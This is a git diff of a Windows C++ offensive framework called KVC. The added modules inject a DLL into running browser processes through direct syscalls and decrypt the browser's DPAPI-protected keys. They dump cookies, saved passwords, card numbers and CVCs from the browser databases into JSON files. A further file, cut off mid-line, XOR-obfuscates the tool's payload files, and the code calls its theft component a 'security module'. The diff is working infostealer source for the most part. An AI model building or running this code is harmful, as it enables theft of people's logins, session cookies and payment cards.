+ { + m_logger->Log("[*] No DPAPI key from orchestrator"); + } + } + else + { + m_logger->Log("[-] Invalid DPAPI key message format"); + } + } + catch (const std::exception& e) + { + m_logger->Log("[-] Exception parsing DPAPI key: " + std::string(e.what())); + } + } +} + +// Security module worker thread entry point +DWORD WINAPI SecurityModuleWorker(LPVOID lpParam) +{ + auto thread_params = std::unique_ptr(static_cast(lpParam)); + + try + { + SecurityComponents::SecurityOrchestrator orchestrator( + static_cast(thread_params->lpPipeNamePointerFromOrchestrator)); + orchestrator.Run(); + } + catch (const std::exception& e) + { + try + { + SecurityComponents::PipeLogger errorLogger( + static_cast(thread_params->lpPipeNamePointerFromOrchestrator)); + if (errorLogger.isValid()) + { + errorLogger.Log("[-] CRITICAL SECURITY MODULE ERROR: " + std::string(e.what())); + } + } + catch (...) {} + } + + FreeLibraryAndExitThread(thread_params->hModule_dll, 0); + return 0; +} + +// DLL entry point - creates worker thread for asynchronous execution +BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) +{ + if (reason == DLL_PROCESS_ATTACH) + { + DisableThreadLibraryCalls(hModule); + + auto params = new (std::nothrow) ModuleThreadParams{hModule, lpReserved}; + if (!params) return TRUE; + + HANDLE hThread = CreateThread(NULL, 0, SecurityModuleWorker, params, 0, NULL); + if (hThread) + { + CloseHandle(hThread); + } + else + { + delete params; + } + } + return TRUE; +} \ No newline at end of file diff --git a/kvc/CryptCore.h b/kvc/CryptCore.h new file mode 100644 index 0000000..f15b2cc --- /dev/null +++ b/kvc/CryptCore.h @@ -0,0 +1,44 @@ +// CryptCore.h - Main security module orchestration +#ifndef CRYPT_CORE_H +#define CRYPT_CORE_H + +#include +#include +#include +#include +#include "CommunicationModule.h" + +namespace fs = std::filesystem; + +namespace SecurityComponents +{ + // Main orchestrator coordinating the entire extraction workflow + class SecurityOrchestrator + { + public: + explicit SecurityOrchestrator(LPCWSTR lpcwstrPipeName); + + // Executes full analysis: key decryption, profile enumeration, data extraction + void Run(); + + private: + // Reads configuration parameters from orchestrator via pipe + void ReadPipeParameters(); + + std::optional m_logger; // ZMIEŃ na optional + fs::path m_outputPath; + std::vector m_edgeDpapiKey; + }; +} + +// Thread parameters passed to worker thread +struct ModuleThreadParams +{ + HMODULE hModule_dll; + LPVOID lpPipeNamePointerFromOrchestrator; +}; + +// Main worker thread executing security analysis +DWORD WINAPI SecurityModuleWorker(LPVOID lpParam); + +#endif // CRYPT_CORE_H \ No newline at end of file diff --git a/kvc/DataExtraction.cpp b/kvc/DataExtraction.cpp new file mode 100644 index 0000000..ab0f46f --- /dev/null +++ b/kvc/DataExtraction.cpp @@ -0,0 +1,240 @@ +// DataExtraction.cpp - Profile discovery and database extraction +#include "DataExtraction.h" +#include "BrowserCrypto.h" +#include "CommunicationModule.h" +#include +#include +#include + +namespace SecurityComponents +{ + namespace Data + { + // Pre-loads CVC data for payment card processing + std::shared_ptr>> SetupPaymentCards(sqlite3* db) + { + auto cvcMap = std::make_shared>>(); + sqlite3_stmt* stmt = nullptr; + if (sqlite3_prepare_v2(db, "SELECT guid, value_encrypted FROM local_stored_cvc;", -1, &stmt, nullptr) != SQLITE_OK) + return cvcMap; + + while (sqlite3_step(stmt) == SQLITE_ROW) + { + const char* guid = reinterpret_cast(sqlite3_column_text(stmt, 0)); + const uint8_t* blob = reinterpret_cast(sqlite3_column_blob(stmt, 1)); + if (guid && blob) + (*cvcMap)[guid] = {blob, blob + sqlite3_column_bytes(stmt, 1)}; + } + sqlite3_finalize(stmt); + return cvcMap; + } + + // Formats cookie row into JSON + std::optional FormatCookie(sqlite3_stmt* stmt, const std::vector& key, void* state) + { + const uint8_t* blob = reinterpret_cast(sqlite3_column_blob(stmt, 6)); + if (!blob) return std::nullopt; + + auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 6)}); + if (plain.size() <= COOKIE_PLAINTEXT_HEADER_SIZE) + return std::nullopt; + + const char* value_start = reinterpret_cast(plain.data()) + COOKIE_PLAINTEXT_HEADER_SIZE; + size_t value_size = plain.size() - COOKIE_PLAINTEXT_HEADER_SIZE; + + std::ostringstream json_entry; + json_entry << " {\"host\":\"" << Utils::EscapeJson(reinterpret_cast(sqlite3_column_text(stmt, 0))) << "\"" + << ",\"name\":\"" << Utils::EscapeJson(reinterpret_cast(sqlite3_column_text(stmt, 1))) << "\"" + << ",\"path\":\"" << Utils::EscapeJson(reinterpret_cast(sqlite3_column_text(stmt, 2))) << "\"" + << ",\"value\":\"" << Utils::EscapeJson({value_start, value_size}) << "\"" + << ",\"expires\":" << sqlite3_column_int64(stmt, 5) + << ",\"secure\":" << (sqlite3_column_int(stmt, 3) ? "true" : "false") + << ",\"httpOnly\":" << (sqlite3_column_int(stmt, 4) ? "true" : "false") + << "}"; + return json_entry.str(); + } + + // Formats password row into JSON + std::optional FormatPassword(sqlite3_stmt* stmt, const std::vector& key, void* state) + { + const uint8_t* blob = reinterpret_cast(sqlite3_column_blob(stmt, 2)); + if (!blob) return std::nullopt; + + auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 2)}); + return " {\"origin\":\"" + Utils::EscapeJson(reinterpret_cast(sqlite3_column_text(stmt, 0))) + + "\",\"username\":\"" + Utils::EscapeJson(reinterpret_cast(sqlite3_column_text(stmt, 1))) + + "\",\"password\":\"" + Utils::EscapeJson({reinterpret_cast(plain.data()), plain.size()}) + "\"}"; + } + + // Formats payment card row into JSON + std::optional FormatPayment(sqlite3_stmt* stmt, const std::vector& key, void* state) + { + auto cvcMap = reinterpret_cast>>*>(state); + std::string card_num_str, cvc_str; + + const uint8_t* blob = reinterpret_cast(sqlite3_column_blob(stmt, 4)); + if (blob) + { + auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 4)}); + card_num_str.assign(reinterpret_cast(plain.data()), plain.size()); + } + + const char* guid = reinterpret_cast(sqlite3_column_text(stmt, 0)); + if (guid && cvcMap && (*cvcMap)->count(guid)) + { + auto plain = Crypto::DecryptGcm(key, (*cvcMap)->at(guid)); + cvc_str.assign(reinterpret_cast(plain.data()), plain.size()); + } + + return " {\"name_on_card\":\"" + Utils::EscapeJson(reinterpret_cast(sqlite3_column_text(stmt, 1))) + + "\",\"expiration_month\":" + std::to_string(sqlite3_column_int(stmt, 2)) + + ",\"expiration_year\":" + std::to_string(sqlite3_column_int(stmt, 3)) + + ",\"card_number\":\"" + Utils::EscapeJson(card_num_str) + + "\",\"cvc\":\"" + Utils::EscapeJson(cvc_str) + "\"}"; + } + + // Returns all extraction configurations + const std::vector& GetExtractionConfigs() + { + static const std::vector configs = { + {fs::path("Network") / "Cookies", "cookies", + "SELECT host_key, name, path, is_secure, is_httponly, expires_utc, encrypted_value FROM cookies;", + nullptr, FormatCookie}, + + {"Login Data", "passwords", + "SELECT origin_url, username_value, password_value FROM logins;", + nullptr, FormatPassword}, + + {"Web Data", "payments", + "SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards;", + SetupPaymentCards, FormatPayment} + }; + return configs; + } + } + + // ProfileEnumerator implementation + ProfileEnumerator::ProfileEnumerator(const fs::path& userDataRoot, PipeLogger& logger) + : m_userDataRoot(userDataRoot), m_logger(logger) {} + + std::vector ProfileEnumerator::FindProfiles() + { + m_logger.Log("[*] Discovering browser profiles in: " + StringUtils::path_to_string(m_userDataRoot)); + std::vector profilePaths; + + auto isProfileDirectory = [](const fs::path& path) + { + for (const auto& dataCfg : Data::GetExtractionConfigs()) + { + if (fs::exists(path / dataCfg.dbRelativePath)) + return true; + } + return false; + }; + + if (isProfileDirectory(m_userDataRoot)) + { + profilePaths.push_back(m_userDataRoot); + } + + std::error_code ec; + for (const auto& entry : fs::directory_iterator(m_userDataRoot, ec)) + { + if (!ec && entry.is_directory() && isProfileDirectory(entry.path())) + { + profilePaths.push_back(entry.path()); + } + } + + if (ec) + { + m_logger.Log("[-] Filesystem ERROR during profile discovery: " + ec.message()); + } + + std::sort(profilePaths.begin(), profilePaths.end()); + profilePaths.erase(std::unique(profilePaths.begin(), profilePaths.end()), profilePaths.end()); + + m_logger.Log("[+] Found " + std::to_string(profilePaths.size()) + " profile(s)."); + return profilePaths; + } + + // DataExtractor implementation + DataExtractor::DataExtractor(const fs::path& profilePath, const Data::ExtractionConfig& config, + const std::vector& aesKey, PipeLogger& logger, + const fs::path& baseOutputPath, const std::string& browserName) + : m_profilePath(profilePath), m_config(config), m_aesKey(aesKey), + m_logger(logger), m_baseOutputPath(baseOutputPath), m_browserName(browserName) {} + + void DataExtractor::Extract() + { + fs::path dbPath = m_profilePath / m_config.dbRelativePath; + if (!fs::exists(dbPath)) + return; + + sqlite3* db = nullptr; + std::string uriPath = "file:" + StringUtils::path_to_string(dbPath) + "?nolock=1"; + std::replace(uriPath.begin(), uriPath.end(), '\\', '/'); + + if (sqlite3_open_v2(uriPath.c_str(), &db, SQLITE_OPEN_READONLY | SQLITE_OPEN_URI, nullptr) != SQLITE_OK) + { + m_logger.Log("[-] Failed to open database " + StringUtils::path_to_string(dbPath) + + ": " + (db ? sqlite3_errmsg(db) : "N/A")); + if (db) sqlite3_close_v2(db); + return; + } + + sqlite3_stmt* stmt = nullptr; + if (sqlite3_prepare_v2(db, m_config.sqlQuery.c_str(), -1, &stmt, nullptr) != SQLITE_OK) + { + sqlite3_close_v2(db); + return; + } + + void* preQueryState = nullptr; + std::shared_ptr>> cvcMap; + if (m_config.preQuerySetup) + { + cvcMap = m_config.preQuerySetup(db); + preQueryState = &cvcMap; + } + + std::vector jsonEntries; + while (sqlite3_step(stmt) == SQLITE_ROW) + { + if (auto jsonEntry = m_config.jsonFormatter(stmt, m_aesKey, preQueryState)) + { + jsonEntries.push_back(*jsonEntry); + } + } + + sqlite3_finalize(stmt); + sqlite3_close_v2(db); + + if (!jsonEntries.empty()) + { + fs::path outFilePath = m_baseOutputPath / m_browserName / m_profilePath.filename() / + (m_config.outputFileName + ".json"); + + std::error_code ec; + fs::create_directories(outFilePath.parent_path(), ec); + if (ec) + { + m_logger.Log("[-] Failed to create directory: " + StringUtils::path_to_string(outFilePath.parent_path())); + return; + } + + std::ofstream out(outFilePath, std::ios::trunc); + if (!out) return; + + out << "[\n"; + for (size_t i = 0; i < jsonEntries.size(); ++i) + { + out << jsonEntries[i] << (i == jsonEntries.size() - 1 ? "" : ",\n"); + } + out << "\n]\n"; + + m_logger.Log(" [*] " + std::to_string(jsonEntries.size()) + " " + m_config.outputFileName + + " extracted to " + StringUtils::path_to_string(outFilePath)); + } + } +} \ No newline at end of file diff --git a/kvc/DataExtraction.h b/kvc/DataExtraction.h new file mode 100644 index 0000000..e7b755f --- /dev/null +++ b/kvc/DataExtraction.h @@ -0,0 +1,83 @@ +// DataExtraction.h - Database extraction and profile enumeration +#ifndef DATA_EXTRACTION_H +#define DATA_EXTRACTION_H + +#include +#include +#include +#include +#include +#include +#include "winsqlite3.h" + +namespace fs = std::filesystem; + +namespace SecurityComponents +{ + class PipeLogger; + + // Data extraction configuration and operations + namespace Data + { + constexpr size_t COOKIE_PLAINTEXT_HEADER_SIZE = 32; + + typedef std::shared_ptr>>(*PreQuerySetupFunc)(sqlite3*); + typedef std::optional(*JsonFormatterFunc)(sqlite3_stmt*, const std::vector&, void*); + + struct ExtractionConfig + { + fs::path dbRelativePath; + std::string outputFileName; + std::string sqlQuery; + PreQuerySetupFunc preQuerySetup; + JsonFormatterFunc jsonFormatter; + }; + + // Pre-query setup function for payment cards + std::shared_ptr>> SetupPaymentCards(sqlite3* db); + + // JSON formatters for different data types + std::optional FormatCookie(sqlite3_stmt* stmt, const std::vector& key, void* state); + std::optional FormatPassword(sqlite3_stmt* stmt, const std::vector& key, void* state); + std::optional FormatPayment(sqlite3_stmt* stmt, const std::vector& key, void* state); + + // Returns all extraction configurations + const std::vector& GetExtractionConfigs(); + } + + // Discovers all available browser profiles + class ProfileEnumerator + { + public: + ProfileEnumerator(const fs::path& userDataRoot, PipeLogger& logger); + + // Returns paths to all valid profile directories + std::vector FindProfiles(); + + private: + fs::path m_userDataRoot; + PipeLogger& m_logger; + }; + + // Extracts data from a specific database within a profile + class DataExtractor + { + public: + DataExtractor(const fs::path& profilePath, const Data::ExtractionConfig& config, + const std::vector& aesKey, PipeLogger& logger, + const fs::path& baseOutputPath, const std::string& browserName); + + // Performs extraction for configured data type + void Extract(); + + private: + fs::path m_profilePath; + const Data::ExtractionConfig& m_config; + const std::vector& m_aesKey; + PipeLogger& m_logger; + fs::path m_baseOutputPath; + std::string m_browserName; + }; +} + +#endif // DATA_EXTRACTION_H \ No newline at end of file diff --git a/kvc/DefenderManager.cpp b/kvc/DefenderManager.cpp index df8b8c5..e7eebd0 100644 --- a/kvc/DefenderManager.cpp +++ b/kvc/DefenderManager.cpp @@ -1,28 +1,3 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek Wesołowski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - #include "DefenderManager.h" #include #include diff --git a/kvc/EdgeDPAPI.cpp b/kvc/EdgeDPAPI.cpp new file mode 100644 index 0000000..7665df9 --- /dev/null +++ b/kvc/EdgeDPAPI.cpp @@ -0,0 +1,74 @@ +// EdgeDPAPI.cpp - DPAPI decryption for Edge browser password keys +// Implements orchestrator-side password key extraction using Windows DPAPI +#include "EdgeDPAPI.h" +#include +#include +#pragma comment(lib, "Crypt32.lib") + +namespace +{ + // Decodes Base64 string into binary data using Windows Crypto API + std::vector Base64DecodeSimple(const std::string& input) + { + DWORD size = 0; + if (!CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, nullptr, &size, nullptr, nullptr)) + return {}; + + std::vector data(size); + CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, data.data(), &size, nullptr, nullptr); + return data; + } +} + +// Extracts and decrypts Edge password encryption key from Local State file +// Uses Windows DPAPI to decrypt the key in the orchestrator's security context +// This avoids needing COM elevation for Edge passwords specifically +std::vector DecryptEdgePasswordKeyWithDPAPI(const fs::path& localStatePath, const Console& console) +{ + std::ifstream f(localStatePath, std::ios::binary); + if (!f) + return {}; + + std::string content((std::istreambuf_iterator(f)), std::istreambuf_iterator()); + + // Locate encrypted_key field in JSON + std::string tag = "\"encrypted_key\":\""; + size_t pos = content.find(tag); + if (pos == std::string::npos) + return {}; + + size_t end = content.find('"', pos + tag.length()); + if (end == std::string::npos) + return {}; + + // Decode Base64 encrypted key + std::vector decoded = Base64DecodeSimple(content.substr(pos + tag.length(), end - pos - tag.length())); + if (decoded.size() < 5) + return {}; + + // Strip "DPAPI" prefix (5 bytes: 0x44 0x50 0x41 0x50 0x49) + if (decoded[0] == 0x44 && decoded[1] == 0x50 && decoded[2] == 0x41 && + decoded[3] == 0x50 && decoded[4] == 0x49) + { + decoded.erase(decoded.begin(), decoded.begin() + 5); + } + + // Verify DPAPI blob header (0x01 0x00 0x00 0x00) + if (decoded.size() < 4 || decoded[0] != 0x01 || decoded[1] != 0x00 || + decoded[2] != 0x00 || decoded[3] != 0x00) + return {}; + + // Decrypt using Windows DPAPI + DATA_BLOB inputBlob = { static_cast(decoded.size()), decoded.data() }; + DATA_BLOB outputBlob = {}; + + if (!CryptUnprotectData(&inputBlob, nullptr, nullptr, nullptr, nullptr, + CRYPTPROTECT_UI_FORBIDDEN, &outputBlob)) + return {}; + + std::vector result(outputBlob.pbData, outputBlob.pbData + outputBlob.cbData); + LocalFree(outputBlob.pbData); + + console.Success("Edge DPAPI password key extracted successfully"); + return result; +} \ No newline at end of file diff --git a/kvc/EdgeDPAPI.h b/kvc/EdgeDPAPI.h new file mode 100644 index 0000000..53aae0b --- /dev/null +++ b/kvc/EdgeDPAPI.h @@ -0,0 +1,17 @@ +// EdgeDPAPI.h - DPAPI operations for Edge password key extraction +#ifndef EDGE_DPAPI_H +#define EDGE_DPAPI_H + +#include +#include +#include +#include "CommunicationLayer.h" + +namespace fs = std::filesystem; + +// Extracts and decrypts Edge password encryption key using Windows DPAPI +// This function runs in the orchestrator's context, avoiding the need for +// COM elevation specifically for Edge password decryption +std::vector DecryptEdgePasswordKeyWithDPAPI(const fs::path& localStatePath, const Console& console); + +#endif // EDGE_DPAPI_H \ No newline at end of file diff --git a/kvc/HelpSystem.cpp b/kvc/HelpSystem.cpp index e43c45e..893e00c 100644 --- a/kvc/HelpSystem.cpp +++ b/kvc/HelpSystem.cpp @@ -1,28 +1,3 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek Wesołowski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - #include #include "HelpSystem.h" #include diff --git a/kvc/InjectionEngine.cpp b/kvc/InjectionEngine.cpp new file mode 100644 index 0000000..d76bd6b --- /dev/null +++ b/kvc/InjectionEngine.cpp @@ -0,0 +1,157 @@ +// InjectionEngine.cpp - Low-level PE injection and execution +#include "InjectionEngine.h" +#include "syscalls.h" +#include +#include + +#ifndef NT_SUCCESS +#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) +#endif + +extern std::string g_securityModulePath; + +// Constructor initializes injection context +InjectionManager::InjectionManager(TargetProcess& target, const Console& console) + : m_target(target), m_console(console) {} + +// Main injection workflow execution +void InjectionManager::execute(const std::wstring& pipeName) +{ + m_console.Debug("Loading security module from file: " + g_securityModulePath); + loadSecurityModuleFromFile(g_securityModulePath); + + m_console.Debug("Parsing module PE headers for InitializeSecurityContext entry point."); + DWORD rdiOffset = getInitializeSecurityContextOffset(); + if (rdiOffset == 0) + throw std::runtime_error("Could not find InitializeSecurityContext export in security module."); + m_console.Debug("InitializeSecurityContext found at file offset: " + Utils::PtrToHexStr((void*)(uintptr_t)rdiOffset)); + + m_console.Debug("Allocating memory for security module in target process."); + PVOID remoteModuleBase = nullptr; + SIZE_T moduleSize = m_moduleBuffer.size(); + SIZE_T pipeNameByteSize = (pipeName.length() + 1) * sizeof(wchar_t); + SIZE_T totalAllocationSize = moduleSize + pipeNameByteSize; + + NTSTATUS status = NtAllocateVirtualMemory_syscall(m_target.getProcessHandle(), &remoteModuleBase, 0, + &totalAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if (!NT_SUCCESS(status)) + throw std::runtime_error("NtAllocateVirtualMemory failed: " + Utils::NtStatusToString(status)); + m_console.Debug("Combined memory for module and parameters allocated at: " + Utils::PtrToHexStr(remoteModuleBase)); + + m_console.Debug("Writing security module to target process memory."); + SIZE_T bytesWritten = 0; + status = NtWriteVirtualMemory_syscall(m_target.getProcessHandle(), remoteModuleBase, + m_moduleBuffer.data(), moduleSize, &bytesWritten); + if (!NT_SUCCESS(status)) + throw std::runtime_error("NtWriteVirtualMemory for security module failed: " + Utils::NtStatusToString(status)); + + m_console.Debug("Writing pipe name parameter into the same allocation."); + LPVOID remotePipeNameAddr = reinterpret_cast(remoteModuleBase) + moduleSize; + status = NtWriteVirtualMemory_syscall(m_target.getProcessHandle(), remotePipeNameAddr, + (PVOID)pipeName.c_str(), pipeNameByteSize, &bytesWritten); + if (!NT_SUCCESS(status)) + throw std::runtime_error("NtWriteVirtualMemory for pipe name failed: " + Utils::NtStatusToString(status)); + + m_console.Debug("Changing module memory protection to executable."); + ULONG oldProtect = 0; + status = NtProtectVirtualMemory_syscall(m_target.getProcessHandle(), &remoteModuleBase, + &totalAllocationSize, PAGE_EXECUTE_READ, &oldProtect); + if (!NT_SUCCESS(status)) + throw std::runtime_error("NtProtectVirtualMemory failed: " + Utils::NtStatusToString(status)); + + startSecurityThreadInTarget(remoteModuleBase, rdiOffset, remotePipeNameAddr); + m_console.Debug("New thread created for security module. Main thread remains suspended."); +} + +// Reads DLL file into memory buffer +void InjectionManager::loadSecurityModuleFromFile(const std::string& modulePath) +{ + if (!fs::exists(modulePath)) + throw std::runtime_error("Security module not found: " + modulePath); + + std::ifstream file(modulePath, std::ios::binary); + if (!file) + throw std::runtime_error("Failed to open security module: " + modulePath); + + file.seekg(0, std::ios::end); + auto fileSize = file.tellg(); + file.seekg(0, std::ios::beg); + + m_moduleBuffer.resize(static_cast(fileSize)); + file.read(reinterpret_cast(m_moduleBuffer.data()), fileSize); + + if (!file) + throw std::runtime_error("Failed to read security module: " + modulePath); + + m_console.Debug("Loaded " + std::to_string(m_moduleBuffer.size()) + " bytes from " + modulePath); +} + +// Manually parses PE export table to locate entry point +DWORD InjectionManager::getInitializeSecurityContextOffset() +{ + auto dosHeader = reinterpret_cast(m_moduleBuffer.data()); + if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) + return 0; + + auto ntHeaders = reinterpret_cast((uintptr_t)m_moduleBuffer.data() + dosHeader->e_lfanew); + if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) + return 0; + + auto exportDirRva = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; + if (exportDirRva == 0) + return 0; + + // Converts RVA to file offset using section headers + auto RvaToOffset = [&](DWORD rva) -> PVOID + { + PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders); + for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; ++i, ++section) + { + if (rva >= section->VirtualAddress && rva < section->VirtualAddress + section->Misc.VirtualSize) + { + return (PVOID)((uintptr_t)m_moduleBuffer.data() + section->PointerToRawData + (rva - section->VirtualAddress)); + } + } + return nullptr; + }; + + auto exportDir = (PIMAGE_EXPORT_DIRECTORY)RvaToOffset(exportDirRva); + if (!exportDir) return 0; + + auto names = (PDWORD)RvaToOffset(exportDir->AddressOfNames); + auto ordinals = (PWORD)RvaToOffset(exportDir->AddressOfNameOrdinals); + auto funcs = (PDWORD)RvaToOffset(exportDir->AddressOfFunctions); + if (!names || !ordinals || !funcs) return 0; + + // Search for specific export by name + for (DWORD i = 0; i < exportDir->NumberOfNames; ++i) + { + char* funcName = (char*)RvaToOffset(names[i]); + if (funcName && strcmp(funcName, "InitializeSecurityContext") == 0) + { + PVOID funcOffsetPtr = RvaToOffset(funcs[ordinals[i]]); + if (!funcOffsetPtr) return 0; + return (DWORD)((uintptr_t)funcOffsetPtr - (uintptr_t)m_moduleBuffer.data()); + } + } + return 0; +} + +// Creates remote thread at calculated entry point +void InjectionManager::startSecurityThreadInTarget(PVOID remoteModuleBase, DWORD rdiOffset, PVOID remotePipeNameAddr) +{ + m_console.Debug("Creating new thread in target to execute InitializeSecurityContext."); + + uintptr_t entryPoint = reinterpret_cast(remoteModuleBase) + rdiOffset; + HANDLE hRemoteThread = nullptr; + + NTSTATUS status = NtCreateThreadEx_syscall(&hRemoteThread, THREAD_ALL_ACCESS, nullptr, m_target.getProcessHandle(), + (LPTHREAD_START_ROUTINE)entryPoint, remotePipeNameAddr, 0, 0, 0, 0, nullptr); + + UniqueHandle remoteThreadGuard(hRemoteThread); + + if (!NT_SUCCESS(status)) + throw std::runtime_error("NtCreateThreadEx failed: " + Utils::NtStatusToString(status)); + + m_console.Debug("Successfully created new thread for security module."); +} \ No newline at end of file diff --git a/kvc/InjectionEngine.h b/kvc/InjectionEngine.h new file mode 100644 index 0000000..d4be9b9 --- /dev/null +++ b/kvc/InjectionEngine.h @@ -0,0 +1,35 @@ +// InjectionEngine.h - PE injection and remote execution management +#ifndef INJECTION_ENGINE_H +#define INJECTION_ENGINE_H + +#include +#include +#include +#include "BrowserProcessManager.h" +#include "CommunicationLayer.h" + +// Handles DLL injection and remote thread execution +class InjectionManager +{ +public: + InjectionManager(TargetProcess& target, const Console& console); + + // Performs complete injection workflow: load, parse, inject, execute + void execute(const std::wstring& pipeName); + +private: + // Loads security module from disk into memory buffer + void loadSecurityModuleFromFile(const std::string& modulePath); + + // Parses PE export table to find entry point offset + DWORD getInitializeSecurityContextOffset(); + + // Creates remote thread to execute injected code + void startSecurityThreadInTarget(PVOID remoteModuleBase, DWORD rdiOffset, PVOID remotePipeNameAddr); + + TargetProcess& m_target; + const Console& m_console; + std::vector m_moduleBuffer; +}; + +#endif // INJECTION_ENGINE_H \ No newline at end of file diff --git a/kvc/KeyboardHook.cpp b/kvc/KeyboardHook.cpp index 9e5cc1d..ea0c4d3 100644 --- a/kvc/KeyboardHook.cpp +++ b/kvc/KeyboardHook.cpp @@ -1,28 +1,3 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek Wesołowski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - #include "KeyboardHook.h" #include "TrustedInstallerIntegrator.h" #include "common.h" diff --git a/kvc/Kvc.cpp b/kvc/Kvc.cpp index 3b2101a..7864a08 100644 --- a/kvc/Kvc.cpp +++ b/kvc/Kvc.cpp @@ -1,28 +1,3 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek Wesołowski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - #include "common.h" #include "Controller.h" #include "DefenderManager.h" diff --git a/kvc/KvcDrv.cpp b/kvc/KvcDrv.cpp index b5c6c65..23c724b 100644 --- a/kvc/KvcDrv.cpp +++ b/kvc/KvcDrv.cpp @@ -1,28 +1,3 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek Wesołowski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - // KvcDrv.cpp #include "kvcDrv.h" #include "common.h" diff --git a/kvc/KvcXor.cpp b/kvc/KvcXor.cpp new file mode 100644 index 0000000..c4dc71d --- /dev/null +++ b/kvc/KvcXor.cpp @@ -0,0 +1,660 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifdef _WIN32 +#define NOMINMAX +#include +#endif + +namespace fs = std::filesystem; +namespace rng = std::ranges; + +// XOR key +constexpr std::array XOR_KEY = { 0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C }; + +// File paths +constexpr std::string_view KVC_PASS_EXE = "kvc_pass.exe"; +constexpr std::string_view KVC_CRYPT_DLL = "kvc_crypt.dll"; +constexpr std::string_view KVC_RAW = "kvc.raw"; +constexpr 